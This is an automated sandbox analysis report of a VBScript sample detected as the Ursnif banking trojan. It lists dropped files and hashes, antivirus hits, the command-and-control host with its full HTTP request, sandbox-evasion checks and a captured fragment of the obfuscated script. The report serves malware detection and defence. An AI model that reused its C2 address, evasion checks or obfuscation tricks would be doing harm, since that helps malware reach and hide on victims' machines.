Analysis Report JFCp0yRoUS1z.vbs

ID:	323315
Product:	CloudBasic
Start time:	18:33:11
Start date:	26.11.2020
Sample:	JFCp0yRoUS1z.vbs
Cookbook:	default.jbs
System description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Architecture:	WINDOWS
MD5:	87bb1fbc04d87eae50c84b5899fc1fea
SHA1:	c7c63156ba13a0da650fbbff8742dd5847a78f9f
SHA256:	003e70adfcfd81e78857fa8225aabfb1c6f674acbe79f5c3b5cf9d2de0fb9968

Name	Type	MD5	SHA1	SHA256
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{100D246C-3059-11EB-90E4-ECF4BB862DED}.dat	Microsoft Word Document	0F11AE3BE03986077E6D0AB25DEFF72D	DF061CEAE49AFD309B7EA29006AA5723C2C350B4	B39C6A6EEAC5F6312278F898E27D44C5F5E434416C63F5D25B66B580BB167944
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{100D246E-3059-11EB-90E4-ECF4BB862DED}.dat	Microsoft Word Document	ACDF9DC51D2E8BDAE81DA943965F793F	64994FF69F8917F40E4CF2D3D3681FAF31B111A6	8492A54B381589A009E2781668B3D723AE69303117BDE1BFF918754CB945F050
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-17529550060\msapplication.xml	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators	1D8E622466F50C56CF67E8A00A480E4F	AD3BDCB32C1E5F2D360361CA328FE11182B35FBE	24FEAADBAD9B609890A0302F07A12E84664A325D2DEBED22E4EE5E237EA27796
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-18270793970\msapplication.xml	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators	4175D274CD716AB40F122073F58D4C0C	0DC6385791F08800AA2A9AFF502AC8DCFD60D14E	3729E56D2600A1063BBAD3E7580EF30794D06F37112B14E55FABB2479E8A310E
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-21706820\msapplication.xml	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators	661C778EC71DB286D894BF4E687E60EA	87313F9DA00B9669E7DD75CD2CF68BE88085505C	ACA95D7A80417413CD921F9A7565133AE3A2A62FA342060C4867FB01C489818B
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-4759708130\msapplication.xml	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators	DA20F25A3AA2E0DE6B6E35EEDB4C5E5F	33B379DEC6108D72566D9A68B811068FEA8E7CD6	4E48AD596888094168B75E0010178D423B22BA1CD43A6CD246A4D129892F7D91
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-6757900\msapplication.xml	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators	44554D6A8EF4B122FE25A62F6BBCA8B5	49F9F73A810425B5793F573274FF8FC344B9DE9A	6B5172E7EA121C7EBADA5DCA72A73DD2A047586336767C38405AF08FB640A7A5
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-8760897390\msapplication.xml	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators	E8EAEF9AB46C17CEA99B5EEB6959E82B	024F7C66610F08A2E8391B1D63CAB2278ED322CC	766309692772B3973BE2603828E81DB6666D2595188C246C94987A569D0BF046
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin20259167780\msapplication.xml	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators	4ACE162007624149067C33339A5830B3	1396EE110499C6FA91414776EAF3180139D38188	74965FB08F890F0EA94A139906C669496AFEEF2A6F28DE5EE45D6F2D3084D0D0
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin20332743330\msapplication.xml	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators	45B5989C2FFB2330E9891BF4293137AC	378DCE25EF8A017C5BAA47F578417F70EB5BC625	EA27C0CD914157D47D42073EA6D43F26027362F520001958B1E3DFD883FE63A2
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin8215062560\msapplication.xml	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators	864FD4FAA19A58EA075BBE23FB980AFF	F17DE4424028E3EEE173CF78CCDE1B7986F33FFE	95F2C9DC876FDECBC60D286256C92C8C5218DA2C9B6C6934158CDE28FC33A187
C:\Users\user\AppData\Local\Temp\Britannic.sh	ASCII text, with no line terminators	702FDF566073368D8319AAC758B59D77	482EEC64A84F9BABF61E44CA2589515E3ED8C621	39870876D27EAD534B7232649FF9238E2A07D2D3DD66A0E04FB93B247D3ACDA3
C:\Users\user\AppData\Local\Temp\JavaDeployReg.log	ASCII text, with CRLF line terminators	B565BFB1262E595F3AD7368DFB973EC4	B977C3310CA3BA05EF1C59B722575EB792DA6479	B5AB5E410DEDC26C8F3ECDAE693DF678AFB74705F52F868CF2561E2EE49AB605
C:\Users\user\AppData\Local\Temp\McGovern.ai	ASCII text, with no line terminators	1311A8E09FAD3C2E5B50A19079DD2476	DE173241EFB12438333087B14C7A6D62F50007E4	3A06560C84542C6FD9E1DED36B6C1D192B51ECE92FBE529DBAD10A349BDFA758
C:\Users\user\AppData\Local\Temp\Sikkim.doc	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows	FEA898AFE11F58483D34F38197F4866A	FC4971A7E465BEBC41F8B4D58863C4803F97484E	CDC7E3EE07F72154AEA4804C23789F2FEA64FC2E07E0CE3FC5895A208044F582
C:\Users\user\AppData\Local\Temp\adobe.url	MS Windows 95 Internet shortcut text (URL=<https://adobe.com/>), ASCII text, with CRLF line terminators	99D9EE4F5137B94435D9BF49726E3D7B	4AE65CB58C311B5D5D963334F1C30B0BD84AFC03	F5BC6CF90B739E9C70B6EA13F5445B270D8F5906E199270E22A2F685D989211E
C:\Users\user\AppData\Local\Temp\degrease.bmp	ASCII text, with no line terminators	43943715645F619BAE78BE8FBCD138F8	5C1A14779992DB93473337651DCEE828CF2E6ABA	7A50BDD1AC2440A4321F7CD7FCC3214C475792AD888B7026C842B090301BCFD6
C:\Users\user\AppData\Local\Temp\raincoat.vob	ASCII text, with no line terminators	6E193E8259DD3E280ECB958336899939	C89E637035E19E0D0E217476BD8280FBF237E518	87DE76A96F56B3A8DCCCD8ECF5D991519F6208ACA12C37BF6354E41EFF2A7E34
C:\Users\user\AppData\Local\Temp\shirt.zip	Zip archive data, at least v2.0 to extract	D452DC1FF281771C4237AFECC82C1E5E	3B969040BBC4782EAA871757982E7D39F709EC13	DEEB9C5F4DD3B7B6814BAB401986E043763D3C52E0959C4BEE714B2AB43ECD5C
C:\Users\user\AppData\Local\Temp\wobble.clj	ASCII text, with no line terminators	AEF435427D3B65EAB86CA023F9CD7BD9	8DBE3E2F8ED8152BA1780537995571E9C92F47FE	8D7011AC0641A56DC0998BBCEB92F17F6EC1FF023DCC76BDD697716B589C8C3B
C:\Users\user\AppData\Local\Temp\~DFD3D7BD4879A17939.TMP	data	3441D59944A314F779C27907302CD47B	1E59636961E4F785158A94122F3C21A479FB6395	177138D23CD06F3FE5EEE6D97E0E83EF29DB5DA7B213CA707A68F7DD7BED2354
C:\Users\user\AppData\Local\Temp\~DFE350C03198C73601.TMP	data	2B778B301CAFF6818F65DF09933F3E49	63C514BDB2AE58EA09F4CA53A6459261A4567963	8530A82D149FCD1D47A5E9BFCBE45124416142C53CF4AC976C28BD4AF9DB0362

AV Detection:

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Sikkim.doc

Avira: detection malicious, Label: TR/Crypt.XDR.Gen

Multi AV Scanner detection for domain / URL

Source: api10.laptok.at	Virustotal: Detection: 12%			Perma Link
Source: http://api10.laptok.at/favicon.ico	Virustotal: Detection: 12%			Perma Link

Multi AV Scanner detection for submitted file

Source: JFCp0yRoUS1z.vbs

Virustotal: Detection: 10%

Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Sikkim.doc

Joe Sandbox ML: detected

Spreading:

Enumerates the file system

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user			Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData			Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Local\Temp			Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\Desktop\desktop.ini			Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\Documents\desktop.ini			Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Local			Jump to behavior

Networking:

IP address seen in connection with other malware

Source: Joe Sandbox View

IP Address: 47.241.19.44 47.241.19.44

Internet Provider seen in connection with other malware

Source: Joe Sandbox View

ASN Name: CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC

Downloads files from webservers via HTTP

Source: global traffic

HTTP traffic detected: GET /api1/xZROIGY8JCl1/ywjLUw1zCQY/CInpxPtnNeEjWy/sCxEAQOPVrFlRIJzl2R_2/F16J3YU4Ef6GGYQv/L39jACZcpgRc_2F/h5cdjyHJqAOa8VNbzQ/Iu_2FxJUH/edMV_2BB69SXfoGEs_2F/pOd4KgfKEq9KuV9z0jl/V5CxGMrpIIjtI2PXMmxepQ/fV_2Boyejr8hz/TZn_2Fkp/ZyOboi3IOBo9b4_2F_2F4bd/o9DuqAZNsf/cfadSB_2BgabrnoN0/T2QDIcEXbYqy/rdeSuiFQIWM/R_0A_0DseSxMDU/0RvrcFZ6R5aCS318ZX_2B/SBFB1j02lp4gTd7K/7djJwH_2B_2F09X/Gw91DhRpoloUi/tC HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: api10.laptok.atConnection: Keep-Alive

Source: global traffic

HTTP traffic detected: GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: api10.laptok.atConnection: Keep-Alive

Found strings which match to known social media urls

Source: msapplication.xml0.8.dr	String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0xe623d394,0x01d6c465</date><accdate>0xe623d394,0x01d6c465</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig> equals www.facebook.com (Facebook)
Source: msapplication.xml0.8.dr	String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0xe623d394,0x01d6c465</date><accdate>0xe623d394,0x01d6c465</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Facebook.url"/></tile></msapplication></browserconfig> equals www.facebook.com (Facebook)
Source: msapplication.xml5.8.dr	String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0xe6289841,0x01d6c465</date><accdate>0xe6289841,0x01d6c465</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig> equals www.twitter.com (Twitter)
Source: msapplication.xml5.8.dr	String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0xe6289841,0x01d6c465</date><accdate>0xe62afb08,0x01d6c465</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Twitter.url"/></tile></msapplication></browserconfig> equals www.twitter.com (Twitter)
Source: msapplication.xml7.8.dr	String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0xe62afb08,0x01d6c465</date><accdate>0xe62afb08,0x01d6c465</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig> equals www.youtube.com (Youtube)
Source: msapplication.xml7.8.dr	String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0xe62afb08,0x01d6c465</date><accdate>0xe62afb08,0x01d6c465</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Youtube.url"/></tile></msapplication></browserconfig> equals www.youtube.com (Youtube)

Performs DNS lookups

Source: unknown

DNS traffic detected: queries for: api10.laptok.at

Tries to download or post to a non-existing http route (HTTP/1.1 404 Not Found / 503 Service Unavailable)

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 26 Nov 2020 17:34:29 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30

Urls found in memory or binary data

Source: {100D246E-3059-11EB-90E4-ECF4BB862DED}.dat.8.dr	String found in binary or memory: http://api10.laptok.at/api1/xZROIGY8JCl1/ywjLUw1zCQY/CInpxPtnNeEjWy/sCxEAQOPVrFlRIJzl2R_2/F16J3YU4Ef
Source: msapplication.xml.8.dr	String found in binary or memory: http://www.amazon.com/
Source: msapplication.xml1.8.dr	String found in binary or memory: http://www.google.com/
Source: msapplication.xml2.8.dr	String found in binary or memory: http://www.live.com/
Source: msapplication.xml3.8.dr	String found in binary or memory: http://www.nytimes.com/
Source: msapplication.xml4.8.dr	String found in binary or memory: http://www.reddit.com/
Source: msapplication.xml5.8.dr	String found in binary or memory: http://www.twitter.com/
Source: msapplication.xml6.8.dr	String found in binary or memory: http://www.wikipedia.com/
Source: msapplication.xml7.8.dr	String found in binary or memory: http://www.youtube.com/

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected Ursnif

Source: Yara match	File source: 00000003.00000003.266705838.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266605622.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266740060.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266643602.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266763254.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266775938.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.270440345.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266682217.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266578434.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY

E-Banking Fraud:

Yara detected Ursnif

Source: Yara match	File source: 00000003.00000003.266705838.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266605622.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266740060.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266643602.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266763254.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266775938.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.270440345.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266682217.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266578434.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY

System Summary:

Java / VBScript file with very long strings (likely obfuscated code)

Source: JFCp0yRoUS1z.vbs

Initial sample: Strings found which are bigger than 50

Classification label

Source: classification engine

Classification label: mal100.troj.evad.winVBS@4/22@1/1

Creates files inside the user directory

Source: C:\Program Files\internet explorer\iexplore.exe

File created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High

Jump to behavior

Creates temporary files

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\adobe.url

Jump to behavior

Executes visual basic scripts

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\JFCp0yRoUS1z.vbs'

Queries process information (via WMI, Win32_Process)

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Reads ini files

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\desktop.ini

Jump to behavior

Reads software policies

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Sample is known by Antivirus

Source: JFCp0yRoUS1z.vbs

Virustotal: Detection: 10%

Spawns processes

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\JFCp0yRoUS1z.vbs'
Source: unknown	Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: unknown	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6184 CREDAT:17410 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6184 CREDAT:17410 /prefetch:2			Jump to behavior

Uses an in-process (OLE) Automation server

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Found graphical window changes (likely an installer)

Source: Window Recorder

Window detected: More than 3 window changes detected

Uses new MSVCR Dlls

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll

Jump to behavior

Data Obfuscation:

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.ScriptName, cStr(903436749)) > 0 And eTmTCKF = 0) ThenExit FunctionREM evaporate resplendent constitute poultice obtrude truffle Lakehurst Laidlaw Yeager Guardia. partook repository asterisk degrade bank tuck tragedian idetic Selfridge heterocyclic dovekie Po abrogate sternum military guardhouse desuetude345 Pakistan Grimm schematic Gino arrack grove gateway. broke Russia. 8714015 imbroglio. junta rupture Kristin temperance exchange guidepost ma tampon he NIMH nineteenth mastic steprelation hateful granulate shipman Lisbon Cambodia shun End IfSet jJwVxoRc = GetObject("winmgmts:\\.\root\cimv2")' dice Bruegel Ahmedabad horsemen vie usable, 1147005 molybdenite flaunt banshee Anselm Svetlana mirror Pl globulin propellant interior kumquat lightning blush exposit Knutsen Harmon Dorado. tag Cesare pinch catwalk afterlife, elongate clamshell fort crass hark Webb Fallopian steer guide cosmopolitan, writhe Ukraine Juneau, tinker structure Akers welsh Justinian law resemble bituminous isomorph dismal woodside forswore filthy bookkeep. Guinevere nettlesome exhaust suffuse nocturnal baronet Persephone. carload. Regina Errol freshwater Armco decrease aback mark mulligan vixen Rachel inhibition millstone greatcoat folksinging indices disastrous. 3249173 chalice build Vinci Goodrich exorcism sidetrack summitry sue hondo Juliet Leander desecrater thesaurus catnip shunt, passionate fascism labile, 1392482 engine Set hinterlandlItems = jJwVxoRc.ExecQuery("Select * from Win32_LogicalDisk")REM Freddie extensible, harken fascinate. Soc inlaid hogging. 482439 Marcus Melvin pond Brisbane susceptance insist jimmy cataract, 731201 Marjory decorum petulant arc diagnosis oilmen daybreak Clyde lay Telex Raphael uracil ricotta infinitum Juliet563 Colombia corralled shatter Alcestis Jane aliquot couturier treetop contributory inopportune Cochrane. veridic dilettante. duffel raspberry terbium ludicrous howsomever raise. sky Krieger dolce satire agone covert attack Ott courtroom Abe octahedral continue Delphi ordinate. Calgary baseboard, strain melodic Veda smudgy nautical572 bonze monstrosity. 7988574 eerie cachalot hypnosis, Quebec Emil mummy beatific Schulz Frigidaire chic scapula. 7470585 dessert corbel seventieth Sousa For Each sprue In hinterlandlItemstechnician = technician + Int(sprue.Size / (((100 - 38.0) + (16 + 1073743748.0)) - 2002.0))NextIf technician < (1 + ((66 - (1038 - 1036.0)) + (-5.0))) ThenoCqeIhNJREM McCracken uterine Ammerman slid silo ruse neuroanotomy lazy January vain Fanny hock. disparate Hitachi arrange collector whistle chipmunk camouflage chore, cornerstone felicitous oldy strode globulin392 Judaism cutaneous auk. 3661969 watchful drought malcontent shotbush, haulage throaty Madhya Perilla. opposable surname, vex927 very automatic hardbound crease MIT Vinson contagious Artemis maiden213. paraboloidal ache followeth vetch Ackerman congenital tetrahedral flirtation boric Tanzania bellmen pinch281 absentee soothsay Lenten Caleb douce sp

Persistence and Installation Behavior:

Creates processes via WMI

Source: C:\Windows\System32\wscript.exe

WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Drops PE files

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\Sikkim.doc

Jump to dropped file

Drops files with a non-matching file extension (content does not match file extension)

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\Sikkim.doc

Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

Source: Yara match	File source: 00000003.00000003.266705838.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266605622.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266740060.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266643602.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266763254.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266775938.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.270440345.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266682217.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266578434.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY

Deletes itself after installation

Source: C:\Windows\System32\wscript.exe

File deleted: c:\users\user\desktop\jfcp0yrous1z.vbs

Jump to behavior

Disables application error messsages (SetErrorMode)

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion:

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Source: C:\Windows\System32\wscript.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_LogicalDisk

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: wscript.exe, 00000000.00000003.233514798.0000015ED8BF9000.00000004.00000001.sdmp	Binary or memory string: AUTORUNSC.EXE
Source: wscript.exe, 00000000.00000003.230001085.0000015ED8BFD000.00000004.00000001.sdmp	Binary or memory string: EMUL.EXE
Source: wscript.exe, 00000000.00000003.233514798.0000015ED8BF9000.00000004.00000001.sdmp	Binary or memory string: SBIECTRL.EXE
Source: wscript.exe, 00000000.00000003.233514798.0000015ED8BF9000.00000004.00000001.sdmp	Binary or memory string: APISPY.EXE
Source: wscript.exe, 00000000.00000003.230001085.0000015ED8BFD000.00000004.00000001.sdmp	Binary or memory string: $FAKEHTTPSERVER.EXE
Source: wscript.exe, 00000000.00000003.230001085.0000015ED8BFD000.00000004.00000001.sdmp	Binary or memory string: REGMON.EXEIK
Source: wscript.exe, 00000000.00000003.230001085.0000015ED8BFD000.00000004.00000001.sdmp	Binary or memory string: WINDBG.EXE
Source: wscript.exe, 00000000.00000003.233514798.0000015ED8BF9000.00000004.00000001.sdmp	Binary or memory string: SBIESVC.EXE
Source: wscript.exe, 00000000.00000003.233514798.0000015ED8BF9000.00000004.00000001.sdmp	Binary or memory string: SCKTOOL.EXE;HQ
Source: wscript.exe, 00000000.00000003.233514798.0000015ED8BF9000.00000004.00000001.sdmp	Binary or memory string: IDAQ.EXET
Source: wscript.exe, 00000000.00000003.233514798.0000015ED8BF9000.00000004.00000001.sdmp	Binary or memory string: IMPORTREC.EXE
Source: wscript.exe, 00000000.00000003.233514798.0000015ED8BF9000.00000004.00000001.sdmp	Binary or memory string: IMUL.EXE.8
Source: wscript.exe, 00000000.00000003.230001085.0000015ED8BFD000.00000004.00000001.sdmp	Binary or memory string: WINDUMP.EXE
Source: wscript.exe, 00000000.00000003.233514798.0000015ED8BF9000.00000004.00000001.sdmp	Binary or memory string: Q?$SANDBOXIERPCSS.EXEV5
Source: wscript.exe, 00000000.00000003.233514798.0000015ED8BF9000.00000004.00000001.sdmp	Binary or memory string: :FRIDA-WINJECTOR-HELPER-32.EXE
Source: wscript.exe, 00000000.00000003.233514798.0000015ED8BF9000.00000004.00000001.sdmp	Binary or memory string: PEID.EXE#Z
Source: wscript.exe, 00000000.00000003.233514798.0000015ED8BF9000.00000004.00000001.sdmp	Binary or memory string: SYSANALYZER.EXEA
Source: wscript.exe, 00000000.00000003.233514798.0000015ED8BF9000.00000004.00000001.sdmp	Binary or memory string: PETOOLS.EXEJ
Source: wscript.exe, 00000000.00000003.233514798.0000015ED8BF9000.00000004.00000001.sdmp	Binary or memory string: PROCMON.EXE
Source: wscript.exe, 00000000.00000003.233514798.0000015ED8BF9000.00000004.00000001.sdmp	Binary or memory string: OLLYDBG.EXE
Source: wscript.exe, 00000000.00000003.233514798.0000015ED8BF9000.00000004.00000001.sdmp	Binary or memory string: HOOKEXPLORER.EXE
Source: wscript.exe, 00000000.00000003.230001085.0000015ED8BFD000.00000004.00000001.sdmp	Binary or memory string: NETSNIFFER.EXEK
Source: wscript.exe, 00000000.00000003.233514798.0000015ED8BF9000.00000004.00000001.sdmp	Binary or memory string: AUTORUNS.EXE@
Source: wscript.exe, 00000000.00000003.233514798.0000015ED8BF9000.00000004.00000001.sdmp	Binary or memory string: HOOKANAAPP.EXE
Source: wscript.exe, 00000000.00000003.233514798.0000015ED8BF9000.00000004.00000001.sdmp	Binary or memory string: :FRIDA-WINJECTOR-HELPER-64.EXE
Source: wscript.exe, 00000000.00000003.230001085.0000015ED8BFD000.00000004.00000001.sdmp	Binary or memory string: TCPDUMP.EXE
Source: wscript.exe, 00000000.00000003.230001085.0000015ED8BFD000.00000004.00000001.sdmp	Binary or memory string: FILEMON.EXET
Source: wscript.exe, 00000000.00000003.230001085.0000015ED8BFD000.00000004.00000001.sdmp	Binary or memory string: U.SANDBOXIEDCOMLAUNCH.EXE
Source: wscript.exe, 00000000.00000003.233514798.0000015ED8BF9000.00000004.00000001.sdmp	Binary or memory string: A9$BEHAVIORDUMPER.EXEQ
Source: wscript.exe, 00000000.00000003.233514798.0000015ED8BF9000.00000004.00000001.sdmp	Binary or memory string: IDAG.EXE:V
Source: wscript.exe, 00000000.00000003.230001085.0000015ED8BFD000.00000004.00000001.sdmp	Binary or memory string: REGSHOT.EXE
Source: wscript.exe, 00000000.00000003.230001085.0000015ED8BFD000.00000004.00000001.sdmp	Binary or memory string: DUMPCAP.EXE
Source: wscript.exe, 00000000.00000003.230001085.0000015ED8BFD000.00000004.00000001.sdmp	Binary or memory string: WIRESHARK.EXE
Source: wscript.exe, 00000000.00000003.233514798.0000015ED8BF9000.00000004.00000001.sdmp	Binary or memory string: FORTITRACER.EXEA

Contains capabilities to detect virtual machines

Source: C:\Windows\System32\wscript.exe

File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Jump to behavior

Found WSH timer for Javascript or VBS script (likely evasive script)

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Found dropped PE file which has not been started or loaded

Source: C:\Windows\System32\wscript.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Sikkim.doc

Jump to dropped file

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Windows\System32\wscript.exe TID: 4712

Thread sleep time: -30000s >= -30000s

Jump to behavior

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Source: C:\Windows\System32\wscript.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor

